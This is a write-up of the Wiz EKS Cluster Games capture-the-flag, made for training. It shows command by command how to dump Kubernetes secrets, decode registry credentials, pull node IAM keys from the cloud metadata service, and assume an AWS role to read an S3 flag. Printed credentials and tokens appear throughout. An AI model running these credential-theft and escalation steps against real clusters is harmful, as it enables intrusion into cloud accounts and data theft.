EKSCluster CTF
Secret Seeker
Jumpstart your quest by listing all the secrets in the cluster. Can you spot the flag among them?
Using kubectl we can list available secrets:
kubectl get secrets
NAME TYPE DATA AGE
log-rotate Opaque 1 25h
Describing the secret may give us some more hints:
kubectl describe secret log-rotate
Name: log-rotate
Namespace: challenge1
Labels: <none>
Annotations: <none>
Type: Opaque
Data
====
flag: 52 bytes
Now to dump the secret:
root@wiz-eks-challenge:~# kubectl get secret log-rotate -o json
{
"apiVersion": "v1",
"data": {
"flag": "d2l6X2Vrc19jaGFsbGVuZ2V7b21nX292ZXJfcHJpdmlsZWdlZF9zZWNyZXRfYWNjZXNzfQ=="
},
"kind": "Secret",
"metadata": {
"creationTimestamp": "2023-11-01T13:02:08Z",
"name": "log-rotate",
"namespace": "challenge1",
"resourceVersion": "890951",
"uid": "03f6372c-b728-4c5b-ad28-70d5af8d387c"
},
"type": "Opaque"
}
A little commandline magic using jq to extract the secret and base64 decode:
kubectl get secret log-rotate -o json | jq -r .data.flag | base64 -d
wiz_eks_challenge{omg_over_privileged_secret_access}
Registry Hunt
A thing we learned during our research: always check the container registries. For your convenience, the crane utility is already pre-installed on the machine. Challenge value: 10 pts.
Using kubectl we can list what we can access and play with:
kubectl auth can-i --list
warning: the list may be incomplete: webhook authorizer does not support user rule resolution
Resources Non-Resource URLs Resource Names Verbs
selfsubjectaccessreviews.authorization.k8s.io [] [] [create]
selfsubjectrulesreviews.authorization.k8s.io [] [] [create]
[/.well-known/openid-configuration] [] [get]
[/api/*] [] [get]
[/api] [] [get]
[/apis/*] [] [get]
[/apis] [] [get]
[/healthz] [] [get]
[/healthz] [] [get]
[/livez] [] [get]
[/livez] [] [get]
[/openapi/*] [] [get]
[/openapi] [] [get]
[/openid/v1/jwks] [] [get]
[/readyz] [] [get]
[/readyz] [] [get]
[/version/] [] [get]
[/version/] [] [get]
[/version] [] [get]
[/version] [] [get]
secrets [] [] [get]
pods [] [] [list get]
podsecuritypolicies.policy [] [eks.privileged] [use]
Not much there, so lets list the pod details:
kubectl get pods -o json
{
"apiVersion": "v1",
"items": [
{
"apiVersion": "v1",
"kind": "Pod",
"metadata": {
"annotations": {
"kubernetes.io/psp": "eks.privileged",
"pulumi.com/autonamed": "true"
},
"creationTimestamp": "2023-11-01T13:32:05Z",
"name": "database-pod-2c9b3a4e",
"namespace": "challenge2",
"resourceVersion": "897497",
"uid": "57fe7d43-5eb3-4554-98da-47340d94b4a6"
},
"spec": {
"containers": [
{
"image": "eksclustergames/base_ext_image",
"imagePullPolicy": "Always",
"name": "my-container",
"resources": {},
"terminationMessagePath": "/dev/termination-log",
"terminationMessagePolicy": "File",
"volumeMounts": [
{
"mountPath": "/var/run/secrets/kubernetes.io/serviceaccount",
"name": "kube-api-access-cq4m2",
"readOnly": true
}
]
}
],
"dnsPolicy": "ClusterFirst",
"enableServiceLinks": true,
"imagePullSecrets": [
{
"name": "registry-pull-secrets-780bab1d"
}
],
"nodeName": "ip-192-168-21-50.us-west-1.compute.internal",
"preemptionPolicy": "PreemptLowerPriority",
"priority": 0,
"restartPolicy": "Always",
"schedulerName": "default-scheduler",
"securityContext": {},
"serviceAccount": "default",
"serviceAccountName": "default",
"terminationGracePeriodSeconds": 30,
"tolerations": [
{
"effect": "NoExecute",
"key": "node.kubernetes.io/not-ready",
"operator": "Exists",
"tolerationSeconds": 300
},
{
"effect": "NoExecute",
"key": "node.kubernetes.io/unreachable",
"operator": "Exists",
"tolerationSeconds": 300
}
],
"volumes": [
{
"name": "kube-api-access-cq4m2",
"projected": {
"defaultMode": 420,
"sources": [
{
"serviceAccountToken": {
"expirationSeconds": 3607,
"path": "token"
}
},
{
"configMap": {
"items": [
{
"key": "ca.crt",
"path": "ca.crt"
}
],
"name": "kube-root-ca.crt"
}
},
{
"downwardAPI": {
"items": [
{
"fieldRef": {
"apiVersion": "v1",
"fieldPath": "metadata.namespace"
},
"path": "namespace"
}
]
}
}
]
}
}
]
},
"status": {
"conditions": [
{
"lastProbeTime": null,
"lastTransitionTime": "2023-11-01T13:32:05Z",
"status": "True",
"type": "Initialized"
},
{
"lastProbeTime": null,
"lastTransitionTime": "2023-11-01T13:32:08Z",
"status": "True",
"type": "Ready"
},
{
"lastProbeTime": null,
"lastTransitionTime": "2023-11-01T13:32:08Z",
"status": "True",
"type": "ContainersReady"
},
{
"lastProbeTime": null,
"lastTransitionTime": "2023-11-01T13:32:05Z",
"status": "True",
"type": "PodScheduled"
}
],
"containerStatuses": [
{
"containerID": "containerd://b427307b7f428bcf6a50bb40ebef194ba358f77dbdb3e7025f46be02b922f5af",
"image": "docker.io/eksclustergames/base_ext_image:latest",
"imageID": "docker.io/eksclustergames/base_ext_image@sha256:a17a9428af1cc25f2158dfba0fe3662cad25b7627b09bf24a915a70831d82623",
"lastState": {},
"name": "my-container",
"ready": true,
"restartCount": 0,
"started": true,
"state": {
"running": {
"startedAt": "2023-11-01T13:32:08Z"
}
}
}
],
"hostIP": "192.168.21.50",
"phase": "Running",
"podIP": "192.168.12.173",
"podIPs": [
{
"ip": "192.168.12.173"
}
],
"qosClass": "BestEffort",
"startTime": "2023-11-01T13:32:05Z"
}
}
],
"kind": "List",
"metadata": {
"resourceVersion": ""
}
}
The interesting bit is this:
"imagePullSecrets": [
{
"name": "registry-pull-secrets-780bab1d"
}
],
To pull the image from the private registry, Kubernetes needs credentials. The imagePullSecrets field in the configuration file specifies that Kubernetes should get the credentials from a Secret. Read more on private registrys and secrets here.
We can extract the secret is we did in challenge 1:
kubectl get secrets -o json registry-pull-secrets-780bab1d
{
"apiVersion": "v1",
"data": {
".dockerconfigjson": "eyJhdXRocyI6IHsiaW5kZXguZG9ja2VyLmlvL3YxLyI6IHsiYXV0aCI6ICJaV3R6WTJ4MWMzUmxjbWRoYldWek9tUmphM0pmY0dGMFgxbDBibU5XTFZJNE5XMUhOMjAwYkhJME5XbFpVV280Um5WRGJ3PT0ifX19"
},
"kind": "Secret",
"metadata": {
"annotations": {
"pulumi.com/autonamed": "true"
},
"creationTimestamp": "2023-11-01T13:31:29Z",
"name": "registry-pull-secrets-780bab1d",
"namespace": "challenge2",
"resourceVersion": "897340",
"uid": "1348531e-57ff-42df-b074-d9ecd566e18b"
},
"type": "kubernetes.io/dockerconfigjson"
}
And extract the credentials:
root@wiz-eks-challenge:~# echo eyJhdXRocyI6IHsiaW5kZXguZG9ja2VyLmlvL3YxLyI6IHsiYXV0aCI6ICJaV3R6WTJ4MWMzUmxjbWRoYldWek9tUmphM0pmY0dGMFgxbDBibU5XTFZJNE5XMUhOMjAwYkhJME5XbFpVV280Um5WRGJ3PT0ifX19|base64 -d
{"auths": {"index.docker.io/v1/": {"auth": "ZWtzY2x1c3RlcmdhbWVzOmRja3JfcGF0X1l0bmNWLVI4NW1HN200bHI0NWlZUWo4RnVDbw=="}}}
root@wiz-eks-challenge:~# echo ZWtzY2x1c3RlcmdhbWVzOmRja3JfcGF0X1l0bmNWLVI4NW1HN200bHI0NWlZUWo4RnVDbw==|base64 -d
eksclustergames:dckr_pat_YtncV-R85mG7m4lr45iYQj8FuCo
Or as a 1-liner:
kubectl get secret registry-pull-secrets-780bab1d -o json|jq -r '.data[]'|base64 -d|jq -r '.auths[].auth'|base64 -d
Now armed with credentials we can use crane to pull the container image from the private repo?:
crane auth login -u eksclustergames -p dckr_pat_YtncV-R85mG7m4lr45iYQj8FuCo index.docker.io
crane pull docker.io/eksclustergames/base_ext_image:latest ./test.tar
And extract the container and the flag:
unzip tar
tar -xzf *.tar.gz
cat flag.txt
wiz_eks_challenge{nothing_can_be_said_to_be_certain_except_death_taxes_and_the_exisitense_of_misconfigured_imagepullsecret}
Image Inquisition
A pod’s image holds more than just code. Dive deep into its ECR repository, inspect the image layers, and uncover the hidden secret. Remember: You are running inside a compromised EKS pod.
List the pods:
# kubectl get pods -o json
{
"apiVersion": "v1",
"items": [
{
"apiVersion": "v1",
"kind": "Pod",
"metadata": {
"annotations": {
"kubernetes.io/psp": "eks.privileged",
"pulumi.com/autonamed": "true"
},
"creationTimestamp": "2023-11-01T13:32:10Z",
"name": "accounting-pod-876647f8",
"namespace": "challenge3",
"resourceVersion": "897513",
"uid": "dd2256ae-26ca-4b94-a4bf-4ac1768a54e2"
},
"spec": {
"containers": [
{
"image": "688655246681.dkr.ecr.us-west-1.amazonaws.com/central_repo-aaf4a7c@sha256:7486d05d33ecb1c6e1c796d59f63a336cfa8f54a3cbc5abf162f533508dd8b01",
"imagePullPolicy": "IfNotPresent",
"name": "accounting-container",
"resources": {},
"terminationMessagePath": "/dev/termination-log",
"terminationMessagePolicy": "File",
"volumeMounts": [
{
"mountPath": "/var/run/secrets/kubernetes.io/serviceaccount",
"name": "kube-api-access-mmvjj",
"readOnly": true
}
]
}
],
"dnsPolicy": "ClusterFirst",
"enableServiceLinks": true,
"nodeName": "ip-192-168-21-50.us-west-1.compute.internal",
"preemptionPolicy": "PreemptLowerPriority",
"priority": 0,
"restartPolicy": "Always",
"schedulerName": "default-scheduler",
"securityContext": {},
"serviceAccount": "default",
"serviceAccountName": "default",
"terminationGracePeriodSeconds": 30,
"tolerations": [
{
"effect": "NoExecute",
"key": "node.kubernetes.io/not-ready",
"operator": "Exists",
"tolerationSeconds": 300
},
{
"effect": "NoExecute",
"key": "node.kubernetes.io/unreachable",
"operator": "Exists",
"tolerationSeconds": 300
}
],
"volumes": [
{
"name": "kube-api-access-mmvjj",
"projected": {
"defaultMode": 420,
"sources": [
{
"serviceAccountToken": {
"expirationSeconds": 3607,
"path": "token"
}
},
{
"configMap": {
"items": [
{
"key": "ca.crt",
"path": "ca.crt"
}
],
"name": "kube-root-ca.crt"
}
},
{
"downwardAPI": {
"items": [
{
"fieldRef": {
"apiVersion": "v1",
"fieldPath": "metadata.namespace"
},
"path": "namespace"
}
]
}
}
]
}
}
]
},
"status": {
"conditions": [
{
"lastProbeTime": null,
"lastTransitionTime": "2023-11-01T13:32:10Z",
"status": "True",
"type": "Initialized"
},
{
"lastProbeTime": null,
"lastTransitionTime": "2023-11-01T13:32:11Z",
"status": "True",
"type": "Ready"
},
{
"lastProbeTime": null,
"lastTransitionTime": "2023-11-01T13:32:11Z",
"status": "True",
"type": "ContainersReady"
},
{
"lastProbeTime": null,
"lastTransitionTime": "2023-11-01T13:32:10Z",
"status": "True",
"type": "PodScheduled"
}
],
"containerStatuses": [
{
"containerID": "containerd://c465d5104e6f4cac49da0b7495eb2f7c251770f8bf3ce4a1096cf5c704b9ebbe",
"image": "sha256:575a75bed1bdcf83fba40e82c30a7eec7bc758645830332a38cef238cd4cf0f3",
"imageID": "688655246681.dkr.ecr.us-west-1.amazonaws.com/central_repo-aaf4a7c@sha256:7486d05d33ecb1c6e1c796d59f63a336cfa8f54a3cbc5abf162f533508dd8b01",
"lastState": {},
"name": "accounting-container",
"ready": true,
"restartCount": 0,
"started": true,
"state": {
"running": {
"startedAt": "2023-11-01T13:32:11Z"
}
}
}
],
"hostIP": "192.168.21.50",
"phase": "Running",
"podIP": "192.168.5.251",
"podIPs": [
{
"ip": "192.168.5.251"
}
],
"qosClass": "BestEffort",
"startTime": "2023-11-01T13:32:10Z"
}
}
],
"kind": "List",
"metadata": {
"resourceVersion": ""
}
}
OK, so this time the container image is in AWS ECR
- 688655246681.dkr.ecr.us-west-1.amazonaws.com/central_repo-aaf4a7c
First lets try to see if we’re already setup to access ECR:
root@wiz-eks-challenge:~# aws ecr get-login-password --region us-west-1
Unable to locate credentials. You can configure credentials by running "aws configure".
No luck!!!! Now the hint suggests we’re in a compromised EKS pod, so lets check the AWS meta-service:
curl 169.254.169.254/latest/meta-data/iam/security-credentials
eks-challenge-cluster-nodegroup-NodeInstanceRole
Aha! Now lets use the AWS EKS role to get us some temporary credentials:
curl -s 169.254.169.254/latest/meta-data/iam/security-credentials/eks-challenge-cluster-nodegroup-NodeInstanceRole | jq .
{
"AccessKeyId": "ASIA2AVYNEVMURAIPFVP",
"Expiration": "2023-11-02 20:12:09+00:00",
"SecretAccessKey": "ZYAfgEDd6lcrjpZF04+0hgrzxhONZQAr67oXgxAC",
"SessionToken": "FwoGZXIvYXdzEA0aDOpsPxMMvb4Ea+/y4yK3Acql8tnobv8naK7ohXtcCdGLBZO7jT536LtvNQ7F7gaQqESbcReOElX6VO1ILGVATpmgpqBcAKHscf/xo+XqyvHQHTQynxJ2Sp+eae3k6YzLSZl4ATVLvbXCpukmbO33J0T8E1niARLHmASQeLYBH0mOFX7zV9xUBtGHWf9d3oIVOPJDA9BkoYnwK+imz5gJ+tIHpqIBYlVBxsUDATkUJq/AKGdlkv1DwvCp2BiVjSz0QOGLKk11MSiJ6Y+qBjItvRtW/j0gUNFkAINEVnz+ZQfE5cB/d3bbh41/S1ERdmCWrtF1imRq8hoheJxl"
}
JSON="$(curl -s 169.254.169.254/latest/meta-data/iam/security-credentials/eks-challenge-cluster-nodegroup-NodeInstanceRole)"; export AWS_ACCESS_KEY_ID="$(echo "$JSON" | jq -r .AccessKeyId)"; export AWS_SECRET_ACCESS_KEY="$(echo "$JSON" | jq -r .SecretAccessKey)";export AWS_SESSION_TOKEN="$(echo "$JSON" | jq -r .SessionToken)";
Now we can use the aws-cli to extract the ecr password:
aws ecr get-login-password | crane auth login --username AWS --password-stdin 688655246681.dkr.ecr.us-west-1.amazonaws.com
Now, we should be authenticated and can use crane to extract the image layers:
crane config "$(kubectl get pods -o json | jq -r '.items[].spec.containers[].image')" | jq .
{
"architecture": "amd64",
"config": {
"Env": [
"PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin"
],
"Cmd": [
"/bin/sleep",
"3133337"
],
"ArgsEscaped": true,
"OnBuild": null
},
"created": "2023-11-01T13:32:07.782534085Z",
"history": [
{
"created": "2023-07-18T23:19:33.538571854Z",
"created_by": "/bin/sh -c #(nop) ADD file:7e9002edaafd4e4579b65c8f0aaabde1aeb7fd3f8d95579f7fd3443cef785fd1 in / "
},
{
"created": "2023-07-18T23:19:33.655005962Z",
"created_by": "/bin/sh -c #(nop) CMD [\"sh\"]",
"empty_layer": true
},
{
"created": "2023-11-01T13:32:07.782534085Z",
"created_by": "RUN sh -c #ARTIFACTORY_USERNAME=challenge@eksclustergames.com ARTIFACTORY_TOKEN=wiz_eks_challenge{the_history_of_container_images_could_reveal_the_secrets_to_the_future} ARTIFACTORY_REPO=base_repo /bin/sh -c pip install setuptools --index-url intrepo.eksclustergames.com # buildkit # buildkit",
"comment": "buildkit.dockerfile.v0"
},
{
"created": "2023-11-01T13:32:07.782534085Z",
"created_by": "CMD [\"/bin/sleep\" \"3133337\"]",
"comment": "buildkit.dockerfile.v0",
"empty_layer": true
}
],
"os": "linux",
"rootfs": {
"type": "layers",
"diff_ids": [
"sha256:3d24ee258efc3bfe4066a1a9fb83febf6dc0b1548dfe896161533668281c9f4f",
"sha256:9057b2e37673dc3d5c78e0c3c5c39d5d0a4cf5b47663a4f50f5c6d56d8fd6ad5"
]
}
}
Did you spot the token:
wiz_eks_challenge{the_history_of_container_images_could_reveal_the_secrets_to_the_future}
Pod Break
You’re inside a vulnerable pod on an EKS cluster. Your pod’s service-account has no permissions. Can you navigate your way to access the EKS Node’s privileged service-account?
OK, we have no permissions with kubectl to do anything lets start with some basic AWS stuff:
TOKEN="$(aws eks get-token --cluster-name eks-challenge-cluster | jq -r .status.token)"
We can then use this token to authenitcate to kubectl and proceed as normal:
kubectl --token "$TOKEN" get secrets
NAME TYPE DATA AGE
node-flag Opaque 1 30h
kubectl --token "$TOKEN" get secret -o json | jq -r '.items[].data.flag' | base64 -d
That was easy:
wiz_eks_challenge{only_a_real_pro_can_navigate_IMDS_to_EKS_congrats}
Container Secrets Infrastructure
You’ve successfully transitioned from a limited Service Account to a Node Service Account! Great job. Your next challenge is to move from the EKS to the AWS account. Can you acquire the AWS role of the s3access-sa service account, and get the flag?
Now this ones a bit tricker…. We need to use roles:
kubectl get sa s3access-sa -o json
We cant do much with s3access-sa, so lets play with the debug role:
kubectl create token debug-sa
And use the AWS assume-role:
aws sts assume-role-with-web-identity --role-arn arn:aws:iam::688655246681:role/challengeEksS3Role --role-session-name foo --web-identity-token "$(kubectl create token debug-sa --audience sts.amazonaws.com)"
Use the wrapper below, to set up all the various AWS token ENVs:
JSON="$(aws sts assume-role-with-web-identity --role-arn arn:aws:iam::688655246681:role/challengeEksS3Role --role-session-name foo --web-identity-token "$(kubectl create token debug-sa --audience sts.amazonaws.com)" | jq .Credentials)"; export AWS_ACCESS_KEY_ID="$(echo "$JSON" | jq -r .AccessKeyId)"; export AWS_SECRET_ACCESS_KEY="$(echo "$JSON" | jq -r .SecretAccessKey)";export AWS_SESSION_TOKEN="$(echo "$JSON" | jq -r .SessionToken)";
Now we should have access to the AWS API and specifically permissions to access the s3 bucket:
aws s3 cp s3://challenge-flag-bucket-3ff1ae2/flag -
wiz_eks_challenge{w0w_y0u_really_are_4n_eks_and_aws_exp1oitation_legend}
Finished!
This was an excellent EKS challenge for old and new security consultants and penetration testers. Big thanks to WIZ!!! Dont forget to visit their blog for more insights and interesting research! WIZ blog
Share on: